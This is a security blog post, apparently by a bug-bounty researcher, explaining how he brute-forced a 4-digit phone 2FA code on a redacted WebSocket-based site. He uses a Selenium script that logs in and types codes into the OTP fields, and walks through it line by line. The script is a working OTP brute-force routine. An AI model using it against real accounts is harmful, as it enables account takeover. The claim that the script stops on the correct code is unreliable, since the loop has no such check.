Absolute Bruteforce with Selenium

Background

Bruteforcing is perhaps the most underated attack vector. But comeon, if you notice a website verifying your phone number over 4 digit numeric code, you will atleast try to bruteforce it to see if there is any rate-limiting enabled or not. Some of us may even try to bypass the rate-limiting but that’s not what I am going to talk about today. In this blog post I will be discussing about one such situation that I stumbled accross and how I managed to bruteforce it even though the codes were getting sent over a Web-Socket.

Attack Vector

Analyzing the website, I realised that the site was asking for name, email and password upon registration. Once the email was verified a person was able to login and continue the registration steps. However, none of the requests were getting sent over HTTP/HTTPS. All the communication was done via ws which made it a little trickier to bruteforce it. Ofcourse, burp provides sending the socket to repeater but all the communication in the websocket was done via some encrypted key preventing the CSWSH attack. I tried to see if I was able to extract the key from the server but nothing worked. However, the site allowed to register a phone number and send 2FA codes to the phone for login. As mentioned earlier, the size of the field was only 4 characters so I decided to bruteforce it. Even if I sent the request to repeater, I couldn’t possibly bruteforce it. Moreover, repeating the encrypted request, droped the websocket for some reason. So had to find some other way to bruteforce the content possibly via the Application layer itself.

This is where Selenium comes into picture. For thoes who don’t know what selenium is, check this link. But for the gist, selenium is a browser automation tool that allows writing test suits for debugging scripts accross multiple environment. Essentially, all it will do is simulate all the actions that a normal user would do by pre-programming them. So in my case, it had to open the browser, login via the proper username and password and then navigate to a particular url where it could start bruteforcing the 4 digit number

Script Used:

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time

driver = webdriver.Firefox()
driver.get("https://REDACTED/login?redirectUri=/")
time.sleep(2)
driver.find_element_by_id("username").send_keys("my@email")
driver.find_element_by_id ("password").send_keys("HAHAHAHA")
driver.find_element_by_class_name("css-login").click()
time.sleep(1)
driver.get("https://REDACTED/kyc?step=6")
time.sleep(1)

for i in range(4000,4100):
    s = [int(d) for d in str(i)]
    parentElement = lambda: driver.find_element_by_class_name("css-1")
    childElement = parentElement().find_element_by_tag_name("input")
    childElement.send_keys(s[0])

    time.sleep(0.8)

    parentElement = lambda: driver.find_element_by_class_name("css-2")
    childElement = parentElement().find_element_by_tag_name("input")
    childElement.send_keys(s[1])

    time.sleep(0.8)

    parentElement = lambda: driver.find_element_by_class_name("css-3")
    childElement = parentElement().find_element_by_tag_name("input")
    childElement.send_keys(s[2])

    time.sleep(0.8)

    parentElement = lambda: driver.find_element_by_class_name("css-4")
    childElement = parentElement().find_element_by_tag_name("input")
    childElement.send_keys(s[3])

    time.sleep(0.8)


time.sleep(3)
driver.close()

Explanation:

This is a simple Selenium script that allowed to perform all the above mentioned actions.

One can easily import selenium by issueing the following command:

pip3 install selenium

then you have to install the geckodriver for Firefox. You can navigate to Mozilla’s Github Repository and get the latest release of the driver. Once you download it store it in your PATH directory. You should be ready to go after this.

Now using these 3 lines, I imported the appropriate libraries in python:

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time

The following two lines create a selenium object that will run it’s test on firefox.

driver = webdriver.Firefox()
driver.get("https://REDACTED/login?redirectUri=/")

Occassionally I have called time.sleep() so that the browser could finish loading the page. Once the page is loaded in the browser, you want to search for something unique for the email and password field. You can refer to this link for docs.

In the source of the page, I was able to see the following piece of code for email field:

<input id="username" type="email" name="username" placeholder="Email" autocomplete="username" class="css-email" value="">

and the following code for password field:

<input id="password" name="password" type="password" placeholder="Password" autocomplete="current-password" class="css-password" value="">

Here you can see that there are a few unique elements here: name, id and class. I could user either of this to instruct selenium to enter my username and password in the required fields.

Then, after entering details, I want to click the Submit Button. Here is the HTML code for submit button:

<button type="submit" disabled="" class="css-login">
	<span class="css-text">Sign in</span>
</button>

So, issueing the following Python code allowed me to click on submit button.

driver.find_element_by_class_name("css-login").click()

The driver.get("https://REDACTED/kyc?step=6") navigates to the mentioned URL where the bruteforcing should start.

Then I start a for loop with the ids that I want to test in the range

for i in range(4000,4100):
    s = [int(d) for d in str(i)]
    parentElement = lambda: driver.find_element_by_class_name("css-1")
    childElement = parentElement().find_element_by_tag_name("input")
    childElement.send_keys(s[0])

    time.sleep(0.8)

    parentElement = lambda: driver.find_element_by_class_name("css-2")
    childElement = parentElement().find_element_by_tag_name("input")
    childElement.send_keys(s[1])

    time.sleep(0.8)

    parentElement = lambda: driver.find_element_by_class_name("css-3")
    childElement = parentElement().find_element_by_tag_name("input")
    childElement.send_keys(s[2])

    time.sleep(0.8)

    parentElement = lambda: driver.find_element_by_class_name("css-4")
    childElement = parentElement().find_element_by_tag_name("input")
    childElement.send_keys(s[3])

    time.sleep(0.8)

In the above code, I am taking each value (starting from 4000) converting it to string, extracting each character using s = [int(d) for d in str(i)] and sending it to individual fields css-1, css-2, css-3 and css-4.

Here was the code for the css fields:

<div class="css-1">
	<input type="tel" style="width: 24px;" maxlength="1" class="css-input" value="0">
</div>
<div class="css-2">
	<input type="tel" style="width: 24px;" maxlength="1" class="css-input" value="0">
</div>
<div class="css-3">
	<input type="tel" style="width: 24px;" maxlength="1" class="css-input" value="0">
</div>
<div class="css-4">
	<input type="tel" style="width: 24px;" maxlength="1" class="css-input" value="0">
</div>

Since the input field doesn’t have any unique key, I could have used find_elements_by_class_name() and refered to each object individually but instead I noticed that there parent element div was unique so, I referenced it instead using parentElement = lambda: driver.find_element_by_class_name("css-1") and then since there is only one element inside it, I called childElement = parentElement().find_element_by_tag_name("input") this selected the input tag where the value is to be stored. The next line childElement.send_keys(s[0]) sends each individual character of string to the input.

Once the proper code is submitted, the script automatically breaks after timeout of 3 seconds.

time.sleep(3)
driver.close()

I hope you guys had fun reading this blog post. Do let me know in the comments how you felt or if you have any doubts, DM me on twitter @panda0nair

Thanks,

Milind